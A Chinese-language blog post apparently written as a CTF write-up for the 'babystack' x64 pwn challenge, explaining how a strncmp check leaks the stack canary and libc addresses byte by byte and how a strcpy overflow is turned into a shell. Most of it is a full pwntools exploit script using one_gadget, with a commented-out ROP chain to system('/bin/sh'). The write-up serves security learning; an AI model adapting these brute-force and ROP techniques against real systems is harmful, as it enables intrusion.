pwn rop: babystack

其实挺简单的一个rop题目,本来不想写这个wp,感觉没必要,因为除了爆破就是爆破,还爆了十多分钟。但是因为不想直接one_gadget还想了有一段时间怎么写rop,最后还是写出来了,成功打通,索性记录一下。

题目描述

x64程序,保护全开:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

就两个功能,一个login,要求输入password比较通过后才能开启copy功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall login(const char *a1)
{
size_t v1; // rax
char s; // [rsp+10h] [rbp-80h]

printf("Your passowrd :");
get_input((unsigned __int8 *)&s, 0x7Fu);
v1 = strlen(&s);
if ( strncmp(&s, a1, v1) )
return puts("Failed !");
login_state = 1;
return puts("Login Success !");
}

copy功能,顾名思义:

1
2
3
4
5
6
7
8
9
int __fastcall copy(char *a1)
{
char src; // [rsp+10h] [rbp-80h]

printf("Copy :");
get_input((unsigned __int8 *)&src, 0x3Fu);
strcpy(a1, &src);
return puts("It is magic copy !");
}

对应main函数中的变量来看,这个copy其实就是往v6进行copy:

1
2
3
4
5
6
_QWORD *v3; // rcx
__int64 v4; // rdx
char v6; // [rsp+0h] [rbp-60h]
__int64 buf; // [rsp+40h] [rbp-20h]
__int64 v8; // [rsp+48h] [rbp-18h]
char v9; // [rsp+50h] [rbp-10h]

利用思路

  • login的局部变量scopy的局部变量v6共享栈空间,但是s可以写入0x7F字节,因此strcpy(a1, &src);这里就可以造成copy的参数a1其实也就是main里面的局部变量v6的溢出。
  • 再者由于它login的比较逻辑如下,显然这个v1是很容易控制的,那么就可以用来逐字节爆破栈上的东西,这样libc,PIE,以及0x10字节的canary都可以有。因为这里我是想不用one_gadget,那么就必须要得到PIE来写gadgets控rdi(其实就是比one_gadget复杂,但我就是想试试rop)。
    1
    2
    3
    v1 = strlen(&s);
    if ( strncmp(&s, a1, v1) )
    return puts("Failed !");
  • 写rop的时候还有坑点,就是这里的溢出是通过strcpy来完成的,它遇到”\x00”就会停止,但是因为从来就没有从main返回过,所以可以分几步写,而且注意必须从高地址往低地址逐个写,不然低地址的gadgets就会被高地址写的时候给覆盖了。另外因为gadgets以及str_bin_sh的地址高两字节都是”\x00”,所以这里还要逐个地把高字节清零(写高地址gadgets的时候残留的)。这样说可能理解起来比较困难,可以自己调试一下就能发现问题了。
  • rop写完,直接返回,shell到手。(亲测有效,但是时间有点长)

exp

这里exp是我尝试one_gadget的,本地成功了,rop的部分被我注释掉了,远程打通过了。把注释标有one_gadget的部分注释掉,标有rop的取消掉就能跑rop的攻击方法了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
# context.log_level = "debug"

def login(state, password=""):
p.sendlineafter(">> ", "1")
if state == 1:
p.sendafter("Your passowrd :", password)

def copy(content):
p.sendlineafter(">> ", "3")
p.sendafter("Copy :", content)

def quit():
p.sendlineafter(">> ", "2")

def bruteforce(init, nbytes, half_bytes=True):
if init != "" and half_bytes == True:
addr = init[:-1]
half_bytes = ord(init[-1])
else:
addr = init

for i in range(nbytes):
print(len(addr))
if i == 0 and half_bytes == True:
print(i)
for j in range(0, 0x10):
payload = addr + chr((j << 4) | half_bytes) + "\x00"
login(1, payload)
if p.recv(8) != "Failed !":
addr += chr((j << 4) | half_bytes)
login(0)
break
else:
for j in range(1, 0x100):
payload = addr + chr(j) + "\x00"
login(1, payload)
if p.recv(8) != "Failed !":
addr += chr(j)
login(0)
break

return addr

main = 0xecf
pop_rdi = 0x00000000000010c3 # pop rdi ; ret
pop_rsi_r15 = 0x00000000000010c1 # pop rsi ; pop r15 ; ret
system_offset = libc.symbols["system"]
str_bin_sh_offset = libc.search("/bin/sh").next()
one_gadget_offset = 0xf0567

# brute force the canary
canary = bruteforce("", 0x10, False)

# brute force done
success("Canary leak done!")

# # if write rop chain, then will need the PIE
# # again brute force the PIE
# login(1, "\x00".ljust(0x40, "A"))
# copy("BBBB")
# login(0)
# PIE_related = u64(bruteforce("\x70\x0b", 6).ljust(8, "\x00"))

# # brute force done
# PIE = PIE_related - 0xb70
# PIE_main = PIE + main
# PIE_pop_rsi_r15 = PIE + pop_rsi_r15
# PIE_pop_rdi = PIE + pop_rdi

# finally brute force the libc
login(1, "\x00".ljust(0x48, "A"))
copy("BBBB")
login(0)
libc_related = u64(bruteforce("A" * 8 + "\x39\x04", 6)[8:].ljust(8, "\x00"))

# brute force done
libc_base = libc_related - 0x78439
libc_system = libc_base + system_offset
str_bin_sh = libc_base + str_bin_sh_offset

# one_gagdet
one_gadget = libc_base + one_gadget_offset
payload = "\x00".ljust(0x40, "C")
payload += canary
payload = payload.ljust(0x60, "C")
payload += flat([0xdeadbeefbeefdead, one_gadget])
login(1, payload)
copy("D")

# # write rop ==> system("/bin/sh")
# # write libc_system first
# payload = "\x00".ljust(0x78, "C")
# payload += flat(([libc_system]))[:-1]
# login(1, payload)
# copy("D")
# login(0)

# # then write bin_sh address
# payload = "\x00".ljust(0x70, "C")
# payload += flat(([str_bin_sh]))[:-2] + "C\x00"
# login(1, payload)
# copy("D")
# login(0)

# payload = "\x00".ljust(0x70, "C")
# payload += flat(([str_bin_sh]))
# login(1, payload)
# copy("D")
# login(0)

# # then write pop_rdi gadget
# # keep the canary
# payload = "\x00".ljust(0x60, "C")
# payload += flat([0xdeadbeefbeefdead, PIE_pop_rdi])[:-2] + "C\x00"
# login(1, payload)
# copy("D")
# login(0)

# payload = "\x00".ljust(0x40, "C")
# payload += canary
# payload = payload.ljust(0x60, "C")
# payload += flat([0xdeadbeefbeefdead, PIE_pop_rdi])
# login(1, payload)
# copy("D")

# exit
quit()

# success("PIE_related: " + hex(PIE_related))
# success("PIE: " + hex(PIE))
success("libc_related: " + hex(libc_related))
success("libc_base: " + hex(libc_base))
success("libc_system: " + hex(libc_system))
success("str_bin_sh: " + hex(str_bin_sh))
success("one_gadget: " + hex(one_gadget))

p.interactive()

小结

  • 没啥好小结的,就是普通的rop,只不过爆破时间挺长。
Author: Nop
Link: https://n0nop.com/2020/04/09/pwn-rop-babystack/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.